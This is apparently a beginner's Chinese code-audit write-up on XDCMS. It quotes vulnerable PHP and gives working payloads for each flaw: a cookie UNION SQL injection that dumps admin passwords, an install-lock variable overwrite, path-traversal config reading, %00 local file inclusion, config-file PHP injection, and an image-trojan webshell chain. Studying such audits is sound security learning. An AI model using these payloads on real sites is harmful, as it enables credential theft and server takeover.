学习文章:http://www.91ri.org/4285.html
1.cookie注入
\system\modules\member\index.php
public function edit(){
$this->member_info(0);
$gourl=$_GET['gourl'];
$userid=$_COOKIE['member_userid'];
$info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
$input=base::load_class('input');
$field=base::load_cache("cache_field_member","_field");
$fields="";
foreach($field as $value){
$fields.="<tr>\n";
$fields.="<td align=\"right\" valign=\"top\"><span class=\"tdl\">".$value['name'].":</span></td>";
$fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>\n";
$fields.="</tr>\n";
}
assign('gourl',$gourl);
assign('member',$info);
assign("fields",$fields);
template("member/edit");
}
从cookie接受member_userid的值赋给userid变量,未经过过滤带入sql语句中查询。原查询语句为
select * from table_member where 'userid'=4
打开edit cookie 修改后为
select * from table_member where 'userid'=-4 Union seLect 1,2,username,4,5,6,7,8,9,10,11,12,password,14,15 fRom c_admin
直接得到管理员账号密码、一个简单的注入。
(php中 单引号的内的变量不会解析,双引号内的变量会解析成相应的值)
2.全局变量的覆盖
xdcms_dc_v1.0\install\index.php
header("Content-Type: text/html; charset={$lang}");
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}
使用foreach循环赋值。并且对gpc进行过滤、
继续
if(file_exists($insLockfile)){
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
如果insLockfile存在 表明已经安装 此处可以变量覆盖。?insLockfile=1 跳过变量覆盖进行安装
//第四步:安装数据库
else if($step==4){
$conn = mysql_connect($dbhost,$dbuser,$dbpwd) or die("<script>alert('数据库服务器或登录密码无效,\\n\\n无法连接数据库,请返回重新设定!');history.go(-1);</script>");
mysql_query("CREATE DATABASE IF NOT EXISTS `".$dbname."`;",$conn);
mysql_select_db($dbname) or die("<script>alert('数据库访问失败,可能是你没权限,安装前请预先创建一个数据库,别设置有效的登录密码!');history.go(-1);</script>");
// 获得数据库版本信息
$rsver = mysql_query("SELECT VERSION();",$conn);
$row = mysql_fetch_array($rsver);
$mysql_versions = explode('.',trim($row[0]));
$mysql_version = $mysql_versions[0].".".$mysql_versions[1];
mysql_query("SET NAMES '$dblang',character_set_client=binary,sql_mode='';",$conn);
$configStr = file_get_contents(dirname(__FILE__)."/config.inc.php");
if($path!=''){
if(substr($path,-1)!="/") $path=$path.'/';
if(substr($path,0,1)!="/") $path='/'.$path;
}else{
$path="/";
}
$configStr = str_replace("#db_host",$dbhost,$configStr);
$configStr = str_replace("#db_name",$dbname,$configStr);
$configStr = str_replace("#db_user",$dbuser,$configStr);
$configStr = str_replace("#db_pass",$dbpwd,$configStr);
$configStr = str_replace("#tb_pre",$dbpre,$configStr);
$configStr = str_replace("#db_charset",$dblang,$configStr);
$fp = fopen(CMS_DATA."/config.inc.php","w") or die("<script>alert('写入配置失败,请检查根目录是否可写入!');history.go(-1);</ script>");
fwrite($fp,$configStr);
fclose($fp);
$sqlfile=dirname(__FILE__).'/data.sql';
$sql = file_get_contents($sqlfile);
if($mysql_version > 4.1 && $dblang) {
$sql = preg_replace("/(TYPE|ENGINE)=(InnoDB|MyISAM)( DEFAULT CHARSET=[^; ]+)?/", "ENGINE=\\2 DEFAULT CHARSET=".$dblang, $sql);
}
if($dbpre != 'c_') $sql = str_replace('c_', $dbpre, $sql);
$sql = str_replace("\r", "\n", $sql);
$ret = array();
$num = 0;
$queriesarray = explode(";\n", trim($sql));
unset($sql);
foreach($queriesarray as $query) {
$ret[$num] = '';
$queries = explode("\n", trim($query));
$queries = array_filter($queries);
foreach($queries as $query) {
$str1 = substr($query, 0, 1);
if($str1 != '#' && $str1 != '-') $ret[$num] .= $query;
}
$num++;
}
$sqls=$ret;
if(is_array($sqls)){
foreach($sqls as $sql) {
if(trim($sql) != '') $rs=mysql_query($sql,$conn);
}
} else {
$rs=mysql_query($sqls,$conn);
}
$adminquery = "INSERT INTO `{$dbpre}admin` (`username`,`password`,`last_time`,`creat_time`,`groupid`) VALUES ('$adminuser', '".md5(md5($adminpwd))."', '".strtotime("now")."', '".strtotime("now")."','1');";
mysql_query($adminquery,$conn);
// 锁定安装程序
$fp = fopen($insLockfile,'w');
fwrite($fp,'ok');
fclose($fp);
include('./templates/step-4.html');
exit();
}
让step=4执行安装数据库,提供其中需要的变量。dbhost dbname dbuser dbpass dbpre dblang adminuser adminpwd 。
构造??insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=xxx&dbpre=c_&dblang=gbk&adminuser=xdcms&adminpwd=xdcms
不过db的用户及口令还需要借助其他方法获得。
3.后台任意源码读取
/system/modules/xdcm/template.php
public function edit(){
$filename=$_GET['file'];
$file=TP_PATH.TP_FOLDER."/".$filename;
if(!$fp=@fopen($file,'r+')){
showmsg(C('open_template_error'),'-1');
}
flock($fp,LOCK_EX);
$str=@fread($fp,filesize($file));
flock($fp,LOCK_UN);
fclose($fp);
assign('filename',$filename);
assign('content',$str);
template('template_edit','admin');
}
对GET数据没有过滤
http://127.0.0.1/xdcms/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
后台任意文件读取。
此处可以直接读取数据库的连接信息。找到数据库的口令和密码
4.本地包含漏洞
/api/index.php
<?php
include("../data/config.inc.php");
define('SYS_DIR','system');
define('CMS_PATH',str_replace("api",'',str_replace('\\','/',dirname(__FILE__))));
define('SYS_PATH',CMS_PATH.SYS_DIR."/");
define('DATA_PATH',CMS_PATH.'data/');
define('LIB_PATH',SYS_PATH.'libs/');
include(LIB_PATH."base.class.php");
$c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "house";
$f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init";
include $c.".php"; //调用类
$p=new $c(); //实例化
$p->$f(); //调用方法
//安全过滤函数
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
安全过滤函数 发生鸡肋
很明显 %00截断
/api/index.php?c=xxxxxx%00dama.php
5后台getshell 代码分析
文件:/ system/modules/xdcms/ setting.php
public function save(){
$tag=$_POST["tag"];
$apply=$_POST["apply"];
unset($_POST['submit'],$_POST['tag'],$_POST["apply"]);
foreach($_POST as $k=>$v){
if(is_array($v)){
$info[$k]=$v[0];
}else{
$info[$k]=$v;
}
}
又是foreach循环变量赋值
if($tag=='config'){
//判断url是否以/结尾
$urlnum=strlen($info['siteurl'])-1;
if(substr($info['siteurl'],$urlnum,1)!="/"){
showmsg(C("update_url_error"),"-1");
}//end
$cms=SYS_PATH.'xdcms.inc.php'; //生成xdcms配置文件
$cmsurl="<?php\n define('CMS_URL','".$info['siteurl']."');\n define('TP_FOLDER','".$info['template']."');\n define('TP_CACHE',".$info['caching'].");\n?>";
creat_inc($cms,$cmsurl);
if($apply){ //更新所有栏目的html配置
$category=base::load_cache("cache_category","_category");
$updateurl=base::load_class("url");
if($info['createhtml']==1){
$ishtml=1;
}else{
$ishtml=0;
}
foreach($category as $value){
if($value['is_link']==0){ //外部链接不更新
$url=$updateurl->caturl($value['catid'],$value['catdir'],$ishtml,1);
$this->mysql->db_update("category","`url`='{$url}',`is_html`={$ishtml}","`catid`={$value['catid']}");
}
}
$rs=$this->mysql->fetch_asc("select * from ".DB_PRE."category order by sort asc,catid asc"); //更新栏目缓存
$s="<?php\n\$_category=".var_export($rs,true).";\n?>";
$file=CACHE_SYS_PATH.'cache_category.php';
creat_inc($file,$s);
}
}
if($apply){
showmsg(C("config_success_url"),"index.php?m=xdcms&c=categorytree");
}else{
showmsg(C("config_success"),"-1");
}
没有对siteurl过滤直接保存进config文件
构造 phpinfo ');?><?php phpinfo();?>
成功插配置文件。
很明晰那 phpinfo()可以替换成别的什么、比如include file=""
但是因为添加了单引号 如果开启了gpc过滤可能就不行了
6.拿shell
后台可以上传图片文件。我们可以上传一句图片马
利用4的本地包含漏洞,/api/index.php?c=../uploadfile/image/20140401/xiaoma.jpg%00
可拿Webshell、
初学代码审计 对代码的阅读能力不强 对整体流程不了解。 对框架也生疏。 没有更深的理解和圆滑的操作。生搬硬套 希望能多动手,多进步吧。